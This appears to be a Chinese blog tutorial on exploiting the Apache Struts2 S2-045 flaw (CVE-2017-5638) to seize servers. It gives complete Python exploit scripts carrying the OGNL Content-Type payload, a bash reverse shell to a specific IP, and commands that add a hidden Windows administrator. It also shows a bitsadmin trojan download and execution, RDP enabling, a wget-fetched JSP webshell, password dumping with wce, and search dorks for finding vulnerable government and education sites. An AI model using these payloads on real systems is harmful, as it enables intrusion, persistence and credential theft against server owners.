​如何快速利用s02-45漏洞获取服务器权限

简介:

byantian365.com simeon

1.1CVE-2017-5638漏洞简介

Apache Struts 2是世界上最流行的JavaWeb服务器框架之一。然而在Struts 2上发现存在高危安全漏洞(CVE-2017-5638,S02-45,该漏洞影响到:Struts 2.3.5 - Struts 2.3.31Struts 2.5 - Struts2.5.10

漏洞编号:CVE-2017-5638

漏洞等级:HIGH

漏洞名称:S2-045Struts 2远程执行代码漏洞

漏洞影响:基于JakartaMultipart解析器执行文件上传时可能的RCE

影响版本:Struts 2.3.5 -Struts 2.3.31

                   Struts 2.5 -Struts 2.5.10

修补方案:

 升级到Struts2.3.32Struts 2.5.10.1

Struts2.3.32下载地址: 

https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.3.32

Struts2.5.10.1下载地址:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.10.1 

漏洞原理:Struts2默认解析上传文件的Content-Type头,存在问题。在解析错误的情况下,会执行错误信息中的OGNL代码

1.2危害评估

   经过实际测试,只要存在该漏洞windowslinux基本都是服务器权限。危害极大,可以肯定对很多人来说今晚一定是一个不眠之夜。

1.3漏洞实际利用

1.3.1准备工作

1.准备一个jspwebshell,保存在网站上,例如可以是1.txt等文本文件,可供网络下载。

2.准备好具备独立IP的服务器,在上面有nc.exe

3.准备python环境。

   一般用python2.7.13版本,下载地址:https://www.python.org/downloads/release/python-2713/,根据操作系统的版本选择安装,安装完成后第一次运行会出错,需要安装一个模块,如图1所示。需要安装poster.encode模块,下载地址https://pypi.python.org/pypi/poster/,然后到该目录执行pythonsetup.py install,进行安装。注意python如果没有设置系统变量,则需要带完整路径执行。例如:

C:\Python27\python.exeC:\Python27\poster-0.8.1\setup.py install

wKiom1i_sMrxADFwAADKcotDY00917.jpg-wh_50

1缺少poster.encode模块

4.获取各种action页面

1)通过zoomeye去获取各种action页面,直接搜索index.actionlogin.actioninfo.action等。

2)百度大婶法

inurl:index.actionsite:edu.cn

inurl:index.actionsite:gov.cn

inurl:index.actionsite:com.cn

   注意:别搞破坏,现在网络安全法很厉害!!!

1.3.2修改poc利用代码

  1.对于linux版本修改whoami值为:bash -i>& /dev/tcp/122.115.47.39/4433 0>&1

说明122.115.47.39为反弹监控服务器IP,端口为4433,然后将文件保存为poclinux.py,如图2所示。也可以有其它一些常见的命令:idwhomaicat /etc/passwdcat/etc/shadow等。可以修改对应参数并保持不同名字即可。

wKioL1i_sMyjK94bAAG8k1fUmNs264.jpg-wh_50

2修改linuxpoc利用代码

2.对应Windows服务器,修改whomai值为:

net user antian365$ Wsantian365!*/add

net localgroup administratorsantian365$  /add

分别将poc文件保存为pocwin1.pypocwin2.py,如图3所示。

wKioL1i_sM3gcw5LAAG4nXI1B-I642.jpg-wh_50

3修改windows下利用代码

1.3.3Windows下快速实施渗透

 1.对方开启了3389

1)扫描对方是否开启3389,开启了则分别执行:

pocwin1.py http://www.antian365.com/index.action

pocwin2.py http://www.antian365.com/index.action

如果对方存在漏洞,则会直接添加用户“antian365$”,密码“Wsantian365!*”,服务器开启了3389,登录上去然后下载wce64,直接wce64 –w获取当前登录密码,记得一定要使用管理员权限执行。

2)直接开启3389

在那个参数中分别修改三次,执行以下代码三次,即可开启3389.

wmic /namespace:\\root\cimv2\terminalservices pathwin32_terminalservicesetting where (__CLASS != "") callsetallowtsconnections 1

 wmic/namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where(TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1

 reg add"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /vfSingleSessionPerUser /t REG_DWORD /d 0 /f  

 3389开启对条件是对方是独立IP,如果是内网IP则情况第二种方法。

2.木马执行法

1)下载木马

首先需要准备一个木马程序,需要过win2008的。然后修改win.py中的whoami参数为:

bitsadmin /transfer myjob1/download /priority normal http://www.antian365.com/ma.exe c:\windows\temp\ma.exe

ma.exe保存在www.antian365.com网站的根目录,会直接下载到对方c:\windows\temp目录下。

2)执行木马,修改poc的中whoami参数为ma.exe的真实路径和地址,如下即可。运行保存后的poc则会在原创执行之。

c:\windows\temp\ma.exe

1.3. 4Linux下快速渗透思路

  1.在独立服务器上执行监听,需要在独立IP服务器上,执行“nc –vv–l –p 4433”后,可以执行连接一下这个IP4433端口。比如http://www.antian365.com:4433,如果监听端口有数据,则表示正常,否则请检查防火墙规则。

2.执行poc

poclinux.py http://www.antian365.com/index.action,如果目标服务器存在漏洞,则会反弹shell到监听服务器上,如图4所示,直接获取服务器权限。

wKiom1i_sM3DHMVdAACf1F8CQ-k803.jpg-wh_50

4获取服务器反弹权限

3.获取webshell

服务器权限比较不好操作,需要弄一个webshell,方法如下:

1)寻找jsp文件,执行以下命令:

locate *.jsp

2)获取网站真实路径

寻找jsp文件,找到以后应该有一个网站路径,其路径为opt/web/apps/zhsh/WebRoot/,如图5所示。执行cd/opt/web/apps/zhsh/WebRoot/到网站目录。

wKiom1i_sM7jdSKbAABcWzvBXaM490.jpg-wh_50

5获取真实路径

3)下载webshell文件

下载shell文件:

wget http://182.48.99.164/1.txt

复制1.txtmyma.jsp

 cp 1.txt myma.jsp

修改myma.jsp有执行权限,如图6所示。

chmod +x myma.jsp 

wKioL1i_sM6DXZbvAACD_PWNBpo268.jpg-wh_50

6修改文件执行权限

4)获取webshell

熟悉的webshell出现了,如图7所示,可以上传文件,执行命令等,如果再需要可以上传大马什么的。

wKioL1i_sM_DAtc7AAERKZMD2q8483.jpg-wh_50

7获取webshell

1.3.5实战利用技巧

1.寻找jsp所有文件

(1)locate命令

locate *.jsp

(2)find

find / -name php.ini

(3)where

whereis index.jsp

技巧:

(1)通过查看网站的图片文件名称或者地址来寻找。通常是在新窗口打开图片地址,例如http://www.antian365.com/static/image/common/logo.gif,logo.gif即为关键信息,可以用以下命令搜索,第一和第二比较好,第三个比较耗费时间:

locate logo.gif

whereis logo.gif

find / -name logo.gif

(2)到jsp程序目录,复制粘贴(1)中获取的地址,一般目录多在webapps。

cd webapps

2.快捷下载程序并修改权限方法

jspspy大马下载,密码:antian365

wgethttp://www.antian365.com/lab/s.txt

cp s.txts045.jsp

chmod +x s045.jsp

rm -rf s.txt

访问网站的目录即可获取webshell。

1.4源代码

   红色部分是需要修改的部分。

1.4.1poclinx.py

#! /usr/bin/env python

# encoding:utf-8

# s02-45_poc.py s02-45_poc.pyhttp://www.antian365.com

import urllib2

import sys

from poster.encode importmultipart_encode

from poster.streaminghttp importregister_openers

 

def poc():

   register_openers()

   datagen, header = multipart_encode({"image1":open("tmp.txt", "rb")})

   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87Safari/537.36"

   header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/122.115.47.39/4433 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

   request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)

   response = urllib2.urlopen(request)

   #print "reponse:\n"

   print response.read()

 

try:

  poc()

except Exception,e:

  printe

  exit(-1)

1.4.2pocwin1.py

#! /usr/bin/env python

# encoding:utf-8

# s02-45_poc.py s02-45_poc.pyhttp://www.antian365.com

import urllib2

import sys

from poster.encode importmultipart_encode

from poster.streaminghttp importregister_openers

 

def poc():

   register_openers()

   datagen, header = multipart_encode({"image1":open("tmp.txt", "rb")})

   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87Safari/537.36"

   header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net user antian$ Fucksite2017!* /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

   request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)

   response = urllib2.urlopen(request)

   #print "reponse:\n"

   print response.read()

 

try:

  poc()

except Exception,e:

  printe

  exit(-1)

1.4.3pocwin2.py

#! /usr/bin/env python

# encoding:utf-8

# s02-45_poc.pyhttp://www.antian365.com

import urllib2

import sys

from poster.encode importmultipart_encode

from poster.streaminghttp importregister_openers

 

def poc():

   register_openers()

   datagen, header = multipart_encode({"image1":open("tmp.txt", "rb")})

   header["User-Agent"]="Mozilla/5.0 (Macintosh; Intel MacOS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87Safari/537.36"

   header["Content-Type"]="%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='net localgroup administrators antian$  /add').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=newjava.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

   request = urllib2.Request(str(sys.argv[1]),datagen,headers=header)

   response = urllib2.urlopen(request)

   #print "reponse:\n"

   print response.read()

 

try:

  poc()

except Exception,e:

  printe

  exit(-1)

  



 本文转自 simeon2005 51CTO博客,原文链接:http://blog.51cto.com/simeon/1904351

相关实践学习
Docker镜像管理快速入门
本教程将介绍如何使用Docker构建镜像,并通过阿里云镜像服务分发到ECS服务器,运行该镜像。
阿里云资源编排ROS使用教程
资源编排(Resource Orchestration)是一种简单易用的云计算资源管理和自动化运维服务。用户通过模板描述多个云计算资源的依赖关系、配置等,并自动完成所有资源的创建和配置,以达到自动化部署、运维等目的。编排模板同时也是一种标准化的资源和应用交付方式,并且可以随时编辑修改,使基础设施即代码(Infrastructure as Code)成为可能。 产品详情:https://www.aliyun.com/product/ros/
相关文章
|
3月前
|
SQL 监控 安全
服务器安全性漏洞和常见攻击方式解析
服务器安全性漏洞和常见攻击方式解析
|
6月前
|
安全 Linux 数据安全/隐私保护
百度搜索:蓝易云【OpenVAS 检查 Linux 服务器漏洞教程!】
通过上述步骤,你可以在Linux服务器上使用OpenVAS进行漏洞检测。请注意,漏洞检测和扫描是一个复杂的过程,需要持续的更新和管理。建议参考OpenVAS的官方文档和用户指南,以了解更多关于配置和使用OpenVAS的详细信息。
103 0
百度搜索:蓝易云【OpenVAS 检查 Linux 服务器漏洞教程!】
文件复制到ftp服务器时发生错误,请检查是否有权限将文件放到该服务器上
文件复制到ftp服务器时发生错误,请检查是否有权限将文件放到该服务器上
4773 0
|
1月前
|
安全 Java 数据中心
Confluence 数据中心和服务器中的严重漏洞 CVE-2023-22515
Confluence 的开发者 Atlassian 已承认此漏洞,并将其归类为损坏的访问控制问题。他们强调需要立即采取行动,并建议用户升级到最新版本以保护他们的系统。Atlassian 将该漏洞的严重级别评定为 Critical CVSS 10。
19 0
|
2月前
|
监控 安全 网络协议
windows服务器权限分析
windows服务器权限分析
18 1
windows服务器权限分析
|
3月前
|
弹性计算 网络安全 数据安全/隐私保护
显示用户没有权限使用wordbench远程登陆ECS实例
【1月更文挑战第14天】【1月更文挑战第66篇】显示用户没有权限使用wordbench远程登陆ECS实例
39 2
|
10月前
|
监控 安全 网络安全
服务器被专门针对零日漏洞的.locked勒索病毒攻击,数据能否恢复?
        近日,国内多家公司服务器感染了后缀.locked勒索病毒,公司的服务器文件全部被加密,急需数据恢复,否则公司运作无法进行,部分企业经联系数据恢复工程师远程查看,并沟通协商了相应的解决方案,通过双方远程协同配合,最终在当天顺利完整恢复数据。
256 0
服务器被专门针对零日漏洞的.locked勒索病毒攻击,数据能否恢复?
|
7月前
|
安全 Java 应用服务中间件
通过JSP端口转发拿下服务器权限
通过JSP端口转发拿下服务器权限
51 0
|
8月前
|
安全 网络安全 Apache
服务器漏洞修复之SSL/TLS协议信息泄露漏洞(CVE-2016-2183)
服务器漏洞修复之SSL/TLS协议信息泄露漏洞(CVE-2016-2183)
3656 0
|
10月前
|
Java
服务器端----------页面端标签控制权限jsp
服务器端----------页面端标签控制权限jsp